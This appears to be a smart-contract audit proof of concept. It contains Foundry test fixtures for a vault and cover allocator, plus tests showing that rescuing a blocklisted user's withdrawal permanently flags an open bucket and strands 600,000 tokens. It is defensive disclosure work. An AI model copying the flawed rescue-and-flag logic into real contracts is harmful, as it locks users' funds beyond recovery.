↪ fixtures.js::deployCoverOrderAllocator)
// =====
function deployCoverOrderAllocator() internal {
    if (block.timestamp < 1_700_000_000) vm.warp(1_700_000_000);

    admin = _signer("admin");
    curator = _signer("curator");
    allocatorRole = _signer("allocatorRole");
    configAdmin = _signer("configAdmin");
    adminRole = _signer("adminRole");

```

```

    premiumCollector = _signer("premiumCollector");
    firstLossBufferWallet = _signer("firstLossBufferWallet");
    buyer1 = _signer("buyer1");
    buyer2 = _signer("buyer2");
    beneficiary = _signer("beneficiary");

    // Mock vault - starts at currentPeriod = 1 to match production
    ↪ (period 0 never exists).
    // initialize() pushes the capacity-config checkpoint at
    ↪ effectivePeriod = 2, so tests
    // advance to period 2 before matching.
    mockVault = new MockCoverOrderAllocatorVault();
    mockVault.setCurrentPeriod(1);
    mockVault.setTotalAssets(0);
    for (uint256 i = 1; i <= 3; i++) {
        mockVault.setPeriodConfiguration(
            i, IFirelightVault.PeriodConfiguration({epoch: 0, duration:
    ↪ PERIOD_DURATION, startingPeriod: i})
        );
    }

    usdc = new MockERC20("MockUSDC", "mUSDC", 6);
    usdt = new MockERC20("MockUSDT", "mUSDT", 6);
    mockVault.setAsset(address(usdc));

    // $1.00, 18 decimals. Override with priceFeed.setAnswer(x) in
    ↪ feed-native decimals.
    priceFeed = new MockAggregatorV3(18, int256(10 ** 18));

    CoverNFT nftImpl = new CoverNFT();
    coverNFT = CoverNFT(
        address(
            new ERC1967Proxy(
                address(nftImpl),
                abi.encodeCall(
                    CoverNFT.initialize,
                    ("Firelight Cover", "FLCOVER", "", admin,
    ↪ address(this), address(0), address(0))
                )
            )
        )
    );

```

```

        ICoverOrderAllocator.Market[] memory markets = new
↪ ICoverOrderAllocator.Market[](2);
        markets[0] = ICoverOrderAllocator.Market({chainId: 1, protocol:
↪ PROTOCOL_MORPHO, market: MARKET_A});
        markets[1] = ICoverOrderAllocator.Market({chainId: 10, protocol:
↪ PROTOCOL_AAVE, market: MARKET_B});

        ICoverOrderAllocator.ProtocolConcentrationInput[] memory concs =
            new ICoverOrderAllocator.ProtocolConcentrationInput[](2);
        concs[0] = ICoverOrderAllocator.ProtocolConcentrationInput({
            chainId: 1, protocol: PROTOCOL_MORPHO,
↪ maxProtocolConcentrationBps: 6000
        });
        concs[1] = ICoverOrderAllocator.ProtocolConcentrationInput({
            chainId: 10, protocol: PROTOCOL_AAVE,
↪ maxProtocolConcentrationBps: 4000
        });

        address[] memory premiumTokens = new address[](2);
        premiumTokens[0] = address(usdc);
        premiumTokens[1] = address(usdt);

        ICoverOrderAllocator.InitParams memory ip =
↪ ICoverOrderAllocator.InitParams({
            vault: IFirelightVault(address(mockVault)),
            premiumCollector: premiumCollector,
            coverNFT: coverNFT,
            priceFeedAdapter: IAggregatorV3(address(priceFeed)),
            maxPriceAge: 7 days,
            premiumTokens: premiumTokens,
            admin: admin,
            adminRole: adminRole,
            curatorRole: curator,
            allocatorRole: allocatorRole,
            configAdminRole: configAdmin,
            initialProtocolConcentrations: concs,
            newMarkets: markets,
            capacityConfig: ICoverOrderAllocator.CapacityConfig({
                minCAR: 12000, // 1.2x, the MIN_CAR_BPS floor
                firstLossBufferToken: IERC20(address(usdc)),
                firstLossBuffer: firstLossBufferWallet,
                effectiveLeverage: 24000, // 2.0x multiplier (24000/12000)
                minOrderMarketCoverAmount: 1,

```

```

        divergenceToleranceBps: 0
    })
});

CoverOrderAllocator aImpl = new CoverOrderAllocator();
allocator = CoverOrderAllocator(
    address(new ERC1967Proxy(address(aImpl),
↪ abi.encodeCall(CoverOrderAllocator.initialize, (ip))))
);

// Same prank-consumption trap as above: cache the role first.
bytes32 minterRole = coverNFT.MINTER_ROLE();
vm.prank(admin);
coverNFT.grantRole(minterRole, address(allocator));

marketIdA = computeMarketId(1, PROTOCOL_MORPHO, MARKET_A);
marketIdB = computeMarketId(10, PROTOCOL_AAVE, MARKET_B);
conchHashMorpho = computeProtocolConcentrationHash(1,
↪ PROTOCOL_MORPHO);
conchHashAave = computeProtocolConcentrationHash(10, PROTOCOL_AAVE);
}

// =====
// deployFullStack - allocator wired to the REAL vault
// =====
/**
 * @dev `deployCoverOrderAllocator()` points the allocator at
↪ `MockCoverOrderAllocatorVault`,
 *      which returns hardcoded values and cannot execute a real
↪ `payout`. Anything that
 *      tests the *interaction* between vault state and allocator
↪ capacity needs the real
 *      vault instead.
 *
 *      `FirelightVault` does not inherit `IFirelightVault`, but every
↪ selector the allocator
 *      calls matches, so the interface cast resolves at runtime. (Struct
↪ nominal typing only
 *      binds at compile time; through an interface it is a plain ABI
↪ call.)
 *
 *      Capacity is deliberately isolated to the vault leg: the
↪ first-loss buffer wallet is

```

```

*      left at zero balance, so `_computeAvailableCapacity` reduces to
*      `totalAssetsAt(periodStart) * 1e12 * effectiveLeverage / minCAR`.
*
*      Call after `deployVault()`.
*/
function deployFullStack() internal {
    admin = _signer("admin");
    curator = _signer("curator");
    allocatorRole = _signer("allocatorRole");
    configAdmin = _signer("configAdmin");
    adminRole = _signer("adminRole");
    premiumCollector = _signer("premiumCollector");
    firstLossBufferWallet = _signer("firstLossBufferWallet");
    buyer1 = _signer("buyer1");
    buyer2 = _signer("buyer2");
    beneficiary = _signer("beneficiary");

    usdc = new MockERC20("MockUSDC", "mUSDC", 6);
    priceFeed = new MockAggregatorV3(18, int256(10 ** 18)); // $1.00

    CoverNFT nftImpl = new CoverNFT();
    coverNFT = CoverNFT(
        address(
            new ERC1967Proxy(
                address(nftImpl),
                abi.encodeCall(
                    CoverNFT.initialize,
                    ("Firelight Cover", "FLCOVER", "", admin,
↪ address(this), address(0), address(0))
                )
            )
        )
    );

    ICoverOrderAllocator.Market[] memory markets = new
↪ ICoverOrderAllocator.Market[](1);
    markets[0] = ICoverOrderAllocator.Market({chainId: 1, protocol:
↪ PROTOCOL_MORPHO, market: MARKET_A});

    ICoverOrderAllocator.ProtocolConcentrationInput[] memory concs =
        new ICoverOrderAllocator.ProtocolConcentrationInput[](1);
    concs[0] = ICoverOrderAllocator.ProtocolConcentrationInput({

```

```

        chainId: 1, protocol: PROTOCOL_MORPHO,
↪ maxProtocolConcentrationBps: 10000
    });

    address[] memory premiumTokens = new address[](1);
    premiumTokens[0] = address(usdc);

    ICoverOrderAllocator.InitParams memory ip =
↪ ICoverOrderAllocator.InitParams({
        vault: IFirelightVault(address(vault)), // THE REAL VAULT
        premiumCollector: premiumCollector,
        coverNFT: coverNFT,
        priceFeedAdapter: IAggregatorV3(address(priceFeed)),
        maxPriceAge: 7 days,
        premiumTokens: premiumTokens,
        admin: admin,
        adminRole: adminRole,
        curatorRole: curator,
        allocatorRole: allocatorRole,
        configAdminRole: configAdmin,
        initialProtocolConcentrations: concs,
        newMarkets: markets,
        capacityConfig: ICoverOrderAllocator.CapacityConfig({
            minCAR: 12000,
            firstLossBufferToken: IERC20(address(usdc)),
            firstLossBuffer: firstLossBufferWallet, // left at ZERO
↪ balance
            effectiveLeverage: 24000, // 2.0x multiplier
            minOrderMarketCoverAmount: 1,
            divergenceToleranceBps: 0
        })
    });

    CoverOrderAllocator aImpl = new CoverOrderAllocator();
    allocator = CoverOrderAllocator(
        address(new ERC1967Proxy(address(aImpl),
↪ abi.encodeCall(CoverOrderAllocator.initialize, (ip))))
    );

    bytes32 minterRole = coverNFT.MINTER_ROLE();
    vm.prank(admin);
    coverNFT.grantRole(minterRole, address(allocator));

```

```

        marketIdA = computeMarketId(1, PROTOCOL_MORPHO, MARKET_A);
        concHashMorpho = computeProtocolConcentrationHash(1,
↪ PROTOCOL_MORPHO);
    }

    /// @dev MockAggregatorV3 pins `updatedAt` at construction, so any
↪ `vm.warp` past
    ///      `maxPriceAge` (7 days here) makes `PriceFeed.getPrice` revert
↪ `PriceFeedTooOld`.
    ///      Call before any commit/recommit that follows a warp.
    function refreshPriceFeed() internal {
        priceFeed.setUpdatedAt(block.timestamp);
    }

    /// @dev Capacity the allocator will compute, replicating
↪ `_computeAvailableCapacity`
    ///      with a zero first-loss buffer and a $1.00 / 18-decimal feed.
    function expectedCapacity(uint256 vaultAssets6dp) internal pure returns
↪ (uint256) {
        return (vaultAssets6dp * 10 ** 12) * 24000 / 12000;
    }

    // =====
    // Helpers (ports of the JS utility closures)
    // =====

    /// @dev fixtures.js::utils.mintAndApprove
    function mintAndApprove(uint256 amount, address user) internal {
        token.mintTo(user, amount);
        vm.prank(user);
        token.approve(address(vault), amount);
    }

    /**
     * @dev Wires the real `VaultRewardDistributor` - the protocol's ONLY
↪ on-chain path for
     *      returning premium to stakers. Premiums are collected in a premium
↪ token, swapped
     *      off-chain, and pushed back in as vault asset; the distributor
↪ then calls
     *      `checkpointTotalAssets()`, which is why the DISTRIBUTOR CONTRACT
↪ (not the EOA)
     *      needs CHECKPOINT_ROLE on the vault.

```

```

    *
    *      `distributeRewards` pulls with `safeTransferFrom(msg.sender,
↪ vault, amount)`, so
    *      the EOA holding DISTRIBUTOR_ROLE must hold the asset and approve
↪ the distributor.
    *
    *      Call after `deployVault()`.
    */
function deployRewardDistributor() internal {
    distributorEOA = _signer("distributorEOA");

    VaultRewardDistributor dImpl = new VaultRewardDistributor();
    distributor = VaultRewardDistributor(
        address(
            new ERC1967Proxy(
                address(dImpl),
                abi.encodeCall(
                    VaultRewardDistributor.initialize,
                    (IFirelightVault(address(vault)), deployer,
↪ distributorEOA, address(0))
                )
            )
        )
    );

    // NOTE: cache the role BEFORE vm.prank. `vault.CHECKPOINT_ROLE()`
↪ is an external
    // staticcall, Solidity evaluates arguments before the call, and
↪ vm.prank applies to
    // the NEXT call only - so inlining it consumes the prank and
↪ grantRole runs as the
    // test contract, reverting AccessControlUnauthorizedAccount(<test>,
↪ DEFAULT_ADMIN_ROLE).
    bytes32 checkpointRole = vault.CHECKPOINT_ROLE();
    vm.prank(deployer);
    vault.grantRole(checkpointRole, address(distributor));
}

/// @dev Push `amount` of vault asset in as period premium, exactly as
↪ production does.
function distributePremium(uint256 amount) internal {
    token.mintTo(distributorEOA, amount);
    vm.startPrank(distributorEOA);

```

```

        token.approve(address(distributor), amount);
        distributor.distributeRewards(amount, address(token), amount,
↪ uint48(block.timestamp));
        vm.stopPrank();
    }

    /**
     * @dev The fixture keeps `fixtures.js`'s 50,000-token deposit limit
↪ (5e10 at 6 decimals).
     *     That is small enough that most PoCs trip `DepositLimitExceeded`
↪ before reaching
     *     the behaviour under test - `_depositFunds` checks `totalAssets()
↪ + assets > depositLimit`.
     *     Raise it through the real `DEPOSIT_LIMIT_UPDATE_ROLE` rather
↪ than editing the fixture,
     *     so the deployment stays identical to the Hardhat suite.
     *
     *     1e15 == 1 billion tokens: ample headroom, and small enough that
     *     `convertToShares(depositLimit)` inside `maxMint` cannot overflow
↪ `mulDiv`.
    */
    function raiseDepositLimit() internal {
        raiseDepositLimit(1_000_000_000e6);
    }

    function raiseDepositLimit(uint256 newLimit) internal {
        vm.prank(limitUpdater);
        vault.updateDepositLimit(newLimit);
    }

    /// @dev fixtures.js::fundAndApprove
    function fundAndApprove(address buyer, MockERC20 t, uint256 amount)
↪ internal {
        t.mint(buyer, amount);
        vm.prank(buyer);
        t.approve(address(allocator), amount);
    }

    /// @dev fixtures.js::advanceToPeriod (mock vault only)
    function advanceToPeriod(uint256 p) internal {
        mockVault.setCurrentPeriod(p);
    }

```

```

    /// @dev Advance the REAL vault by whole periods.
    function warpPeriods(uint256 n) internal {
        vm.warp(block.timestamp + n * PERIOD_DURATION);
    }

    /**
     * @dev Timestamp at which `period` begins, for the real vault.
     *
     * NOTE the type. `PeriodConfiguration` is declared TWICE in this
    ↪ codebase -
     * `FirelightVaultStorage.sol:51` and `IFirelightVault.sol:33` - and
    ↪ they are distinct
     * nominal types. `FirelightVault` inherits FirelightVaultStorage and
    ↪ does NOT implement
     * IFirelightVault, so this getter returns the STORAGE struct. Using the
    ↪ interface struct
     * here fails with "not implicitly convertible".
     *
     * Conversely `MockCoverOrderAllocatorVault` is IFirelightVault, so its
     * `setPeriodConfiguration` takes the INTERFACE struct. Both spellings
    ↪ are correct in
     * their own place; do not unify them.
     *
     * For the current period prefer `vault.currentPeriodStart()`, which
    ↪ needs no struct.
     */
    function periodStart(uint256 period) internal view returns (uint48) {
        FirelightVault.PeriodConfiguration memory c =
    ↪ vault.periodConfigurationAtNumber(period);
        return uint48(c.epoch + (period - c.startingPeriod) * c.duration);
    }

    /// @dev fixtures.js::computeMarketId
    function computeMarketId(uint64 chainId, string memory protocol, bytes32
    ↪ market) internal pure returns (bytes32) {
        return keccak256(abi.encode(chainId, protocol, market));
    }

    /// @dev fixtures.js::computeProtocolConcentrationHash
    function computeProtocolConcentrationHash(uint64 chainId, string memory
    ↪ protocol) internal pure returns (bytes32) {
        return keccak256(abi.encode(chainId, protocol));
    }

```

```

/**
 * @dev Leaf encoding used by `_settleCoverOrder`: OZ StandardMerkleTree
↪ double-hashing.
 *      For a SINGLE-order tree the root IS the leaf and the proof is
↪ empty, which is all
 *      most PoCs need. Multi-order trees need a real tree builder.
 */
function settleLeaf(uint256 orderId,
↪ ICoverOrderAllocator.MarketCoverAllocation[] memory allocs)
    internal
    pure
    returns (bytes32)
{
    return keccak256(bytes.concat(keccak256(abi.encode(orderId,
↪ allocs))));
}

/// @dev Two-leaf tree, sorted-pair hashing (OZ MerkleProof convention).
function merkleRoot2(bytes32 a, bytes32 b) internal pure returns
↪ (bytes32) {
    return a < b ? keccak256(abi.encode(a, b)) : keccak256(abi.encode(b,
↪ a));
}

/// @dev Funded EOA, replacing the JS `randomSigner()`.
function _signer(string memory label) internal returns (address a) {
    a = makeAddr(label);
    vm.deal(a, 1000 ether);
}

/// @dev Single-market allocation array, the shape most PoCs want.
function oneMarket(bytes32 marketId, uint256 amount)
    internal
    pure
    returns (ICoverOrderAllocator.MarketCoverAllocation[] memory arr)
{
    arr = new ICoverOrderAllocator.MarketCoverAllocation[](1);
    arr[0] = ICoverOrderAllocator.MarketCoverAllocation({marketId:
↪ marketId, allocatedCover: amount});
}

```

```

    function oneMarketInput(bytes32 marketId, uint32 rateAnnual, uint256
↪ amount)
        internal
        pure
        returns (ICoverOrderAllocator.MarketAllocationInput[] memory arr)
    {
        arr = new ICoverOrderAllocator.MarketAllocationInput[](1);
        arr[0] = ICoverOrderAllocator.MarketAllocationInput({
            marketId: marketId, coverRateAnnual: rateAnnual, coverAmount:
↪ amount
            });
    }
}

// test/Foundry/mocks/MockFAsset.sol
// SPDX-License-Identifier: MIT
pragma solidity 0.8.28;

import {ERC20} from "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import {Math} from "@openzeppelin/contracts/utils/math/Math.sol";

/// Replica of contracts/fasset/fassetToken/implementation/FAsset.sol, which
↪ is pragma
/// 0.8.23 and skipped in foundry.toml. The transfer fee defaults to zero,
↪ so this behaves
/// as a plain ERC20 throughout this PoC.
contract MockFAsset is ERC20 {
    uint8 private immutable _decimals;
    uint256 public transferFeeMillionths;
    address public feeCollector = address(0xFEE);

    constructor(string memory n, string memory s, uint8 d) ERC20(n, s) {
↪ _decimals = d; }

    function decimals() public view override returns (uint8) { return
↪ _decimals; }
    function setTransferFeeMillionths(uint256 v) external {
↪ transferFeeMillionths = v; }
    function mintTo(address to, uint256 amount) external { _mint(to,
↪ amount); }
    function mint(address to, uint256 amount) external { _mint(to,
↪ amount); }

```

```

    function _transferFeeAmount(uint256 amount) public view returns
↳ (uint256) {
        if (transferFeeMillionths == 0) return 0;
        return Math.mulDiv(amount, transferFeeMillionths, 1_000_000,
↳ Math.Rounding.Ceil);
    }

    function transfer(address to, uint256 amount) public override returns
↳ (bool) {
        uint256 fee = _transferFeeAmount(amount);
        _transfer(_msgSender(), to, amount - fee);
        if (fee > 0) _transfer(_msgSender(), feeCollector, fee);
        return true;
    }

    function transferFrom(address from, address to, uint256 amount) public
↳ override returns (bool) {
        _spendAllowance(from, _msgSender(), amount);
        uint256 fee = _transferFeeAmount(amount);
        _transfer(from, to, amount - fee);
        if (fee > 0) _transfer(from, feeCollector, fee);
        return true;
    }
}

```

test/Foundry/RescueClaimFlag.t.sol:

```

// SPDX-License-Identifier: MIT
pragma solidity 0.8.28;

import {Base} from "./Base.t.sol";
import {console2} from "forge-std/Test.sol";
import {FirelightVault} from "contracts/core/FirelightVault.sol";

contract RescueClaimFlag is Base {
    uint256 constant STAKE = 1_000_000e6;
    uint256 constant FIRST = 400_000e6; // rescued away
    // the remaining 600_000e6 is what gets frozen

    address alice;
    address treasury;

    function setUp() public {
        deployVault();
    }
}

```

```

        raiseDepositLimit();
        alice    = users[0];
        treasury = users[1];
    }

    function testRescueOfOpenBucketPermanentlyFreezesALaterWithdrawal()
    ↪ public {
        mintAndApprove(STAKE, alice);
        vm.prank(alice);
        vault.deposit(STAKE, alice);

        uint256 bucket = vault.currentPeriod() + 1;

        // 1. Alice requests a partial withdrawal. It lands in the
    ↪ still-open bucket.
        uint256 sharesForFirst = vault.previewWithdraw(FIRST);
        vm.prank(alice);
        vault.redeem(sharesForFirst, alice, alice);
        assertEq(vault.withdrawSharesOf(bucket, alice), sharesForFirst,
    ↪ "credit in the open bucket");

        // 2. Compliance flags Alice. Legitimate use of BLOCKLIST_ROLE.
        vm.prank(blocklister);
        vault.addToBlocklist(alice);

        // 3. RESCUER_ROLE moves the pending withdrawal to the treasury.
        //     Legitimate use - and exactly what the function exists for.
        uint256[] memory periods = new uint256[](1);
        periods[0] = bucket;
        vm.prank(rescuer);
        vault.rescueWithdrawFromBlocklisted(alice, treasury, periods);

        assertEq(vault.withdrawSharesOf(bucket, alice), 0, "alice's credit
    ↪ moved");
        assertGt(vault.withdrawSharesOf(bucket, treasury), 0, "treasury
    ↪ received it");
        assertTrue(
            vault.isWithdrawClaimed(bucket, alice),
            "<-- the defect: permanent flag on an OPEN bucket"
        );

        // 4. The flag was a false positive. Legitimate reversal.
        vm.prank(blocklister);

```

```

        vault.removeFromBlocklist(alice);
        assertTrue(vault.isWithdrawClaimed(bucket, alice),
↪ "removeFromBlocklist does NOT reset it");

        // 5. Alice withdraws the rest of her position, same period, same
↪ bucket.
        uint256 remaining = vault.balanceOf(alice);
        vm.prank(alice);
        uint256 owed = vault.redeem(remaining, alice, alice);
        assertEq(vault.balanceOf(alice), 0, "shares burned");
        assertGt(vault.withdrawSharesOf(bucket, alice), 0, "credited back
↪ into the flagged bucket");
        console2.log("alice is owed          :", owed);

        // 6. Two periods on, the bucket is claimable.
        warpPeriods(2);

        // The treasury's rescued portion claims fine - the rescue itself
↪ worked.
        vm.prank(treasury);
        uint256 treasuryGot = vault.claimWithdraw(bucket);
        console2.log("treasury claimed      :", treasuryGot);
        assertEq(treasuryGot, FIRST, "rescue delivered its intended
↪ outcome");

        // Alice cannot.
        vm.prank(alice);
        vm.expectRevert(

↪ abi.encodeWithSelector(FirelightVault.AlreadyClaimedPeriod.selector,
↪ bucket)
        );
        vault.claimWithdraw(bucket);

        // 7. The funds are orphaned: present in the vault, owned by nobody,
↪ reachable by nobody.
        uint256 stranded = token.balanceOf(address(vault));
        console2.log("vault token balance  :", stranded);
        console2.log("pendingWithdrawAssets:",
↪ vault.pendingWithdrawAssets());
        console2.log("totalAssets()         :", vault.totalAssets());
        console2.log("totalSupply()         :", vault.totalSupply());

```

```

        assertEquals(stranded, STAKE - FIRST, "600,000 FXRP still held by the
↪ vault");
        assertEquals(vault.pendingWithdrawAssets(), stranded, "all of it locked
↪ as 'pending'");
        assertEquals(vault.totalAssets(), 0, "vault reports it holds nothing");
        assertEquals(vault.totalSupply(), 0, "no shares exist to claim it");
    }

    /// Control A - identical two-part withdrawal, no blocklist and no
↪ rescue.
    /// Isolates the rescue as the cause rather than the split withdrawal.
    function testControlWithoutTheRescueBothPartsClaimFine() public {
        mintAndApprove(STAKE, alice);
        vm.prank(alice);
        vault.deposit(STAKE, alice);

        uint256 bucket = vault.currentPeriod() + 1;

        uint256 sharesForFirst = vault.previewWithdraw(FIRST);
        vm.prank(alice);
        vault.redeem(sharesForFirst, alice, alice);

        uint256 remaining = vault.balanceOf(alice);
        vm.prank(alice);
        vault.redeem(remaining, alice, alice);

        warpPeriods(2);

        vm.prank(alice);
        uint256 got = vault.claimWithdraw(bucket);
        console2.log("alice claimed (no rescue):", got);
        assertEquals(got, STAKE, "two requests into one bucket claim fine on
↪ their own");
        assertEquals(vault.pendingWithdrawAssets(), 0, "nothing stranded");
    }

    /// Control B - the rescue happens, but Alice waits a period before
↪ withdrawing again.
    /// Her request lands in a DIFFERENT bucket and claims normally, proving
↪ the loss is
    /// specifically the same-period bucket collision.
    function testControlWaitingOnePeriodAvoidsTheCollision() public {
        mintAndApprove(STAKE, alice);

```

```

vm.prank(alice);
vault.deposit(STAKE, alice);

uint256 flagged = vault.currentPeriod() + 1;

uint256 sharesForFirst = vault.previewWithdraw(FIRST);
vm.prank(alice);
vault.redeem(sharesForFirst, alice, alice);

vm.prank(blocklister);
vault.addToBlocklist(alice);

uint256[] memory periods = new uint256[](1);
periods[0] = flagged;
vm.prank(rescuer);
vault.rescueWithdrawFromBlocklisted(alice, treasury, periods);

vm.prank(blocklister);
vault.removeFromBlocklist(alice);

// Wait one period, so the new request goes to a different bucket.
warpPeriods(1);
uint256 safeBucket = vault.currentPeriod() + 1;
assertTrue(safeBucket != flagged, "different bucket");

uint256 remaining = vault.balanceOf(alice);
vm.prank(alice);
vault.redeem(remaining, alice, alice);

warpPeriods(2);

vm.prank(alice);
uint256 got = vault.claimWithdraw(safeBucket);
console2.log("alice claimed (waited one period):", got);
assertEq(got, STAKE - FIRST, "no loss when the buckets do not
↪ collide");
}
}

```

Output

```
$ forge test --match-contract RescueClaimFlag -vv
```

Ran 3 tests for test/Foundry/RescueClaimFlag.t.sol:RescueClaimFlag
[PASS] testControlWaitingOnePeriodAvoidsTheCollision() (gas: 799827)

Logs:

alice claimed (waited one period): 6000000000000

[PASS] testControlWithoutTheRescueBothPartsClaimFine() (gas: 545496)

Logs:

alice claimed (no rescue): 10000000000000

[PASS] testRescueOfOpenBucketPermanentlyFreezesALaterWithdrawal() (gas: 673039)

Logs:

alice is owed : 6000000000000

treasury claimed : 4000000000000

vault token balance : 6000000000000

pendingWithdrawAssets: 6000000000000

totalAssets() : 0

totalSupply() : 0

Suite result: ok. 3 passed; 0 failed; 0 skipped; finished in 11.65ms (4.31ms CPU time)

The three runs isolate the defect precisely:

- **Control A** - the same split withdrawal with no rescue claims the full **1,000,000**. The two-request pattern is not the problem.
- **Control B** - the rescue happens, but Alice waits one period; her request lands in a different bucket and she recovers **600,000** in full. The bucket collision is the problem.
- **The finding** - same rescue, same-period second request: the treasury's rescued portion claims correctly, Alice's reverts forever, and **600,000 FXRP** is left in a vault that reports holding nothing.